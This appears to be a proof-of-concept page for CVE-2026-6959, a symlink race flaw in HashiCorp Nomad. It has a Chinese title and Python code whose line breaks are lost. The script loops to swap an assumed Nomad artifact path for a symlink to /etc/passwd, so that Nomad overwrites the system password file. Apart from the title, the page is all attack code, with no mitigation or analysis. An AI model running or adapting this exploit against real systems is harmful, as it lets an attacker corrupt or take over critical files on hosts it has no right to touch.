CVE-2026-6959 HashiCorp Nomad 任意文件读写漏洞

import os import time # PoC for CVE-2026-6959: Symlink Attack in HashiCorp Nomad # This script demonstrates the concept of a race condition exploit. # It attempts to trick a process into writing to a sensitive file via a symlink. TARGET_FILE = "/etc/passwd" # The file we want to overwrite NOMAD_TASK_DIR = "/tmp/nomad/task_dir/artifact" # Expected path Nomad writes to print("[*] Starting Symlink Attack Simulation...") print(f"[*] Targeting: {TARGET_FILE}") while True: try: # Remove existing link or directory if present if os.path.islink(NOMAD_TASK_DIR): os.unlink(NOMAD_TASK_DIR) elif os.path.exists(NOMAD_TASK_DIR): os.rmdir(NOMAD_TASK_DIR) # Create the symlink pointing to the target file os.symlink(TARGET_FILE, NOMAD_TASK_DIR) print(f"[+] Symlink created: {NOMAD_TASK_DIR} -> {TARGET_FILE}") # Wait for the Nomad process to perform the write operation # In a real exploit, this would be synchronized with the task allocation time.sleep(0.1) except KeyboardInterrupt: print("[!] Stopping attack.") break except Exception as e: print(f"[-] Error: {e}")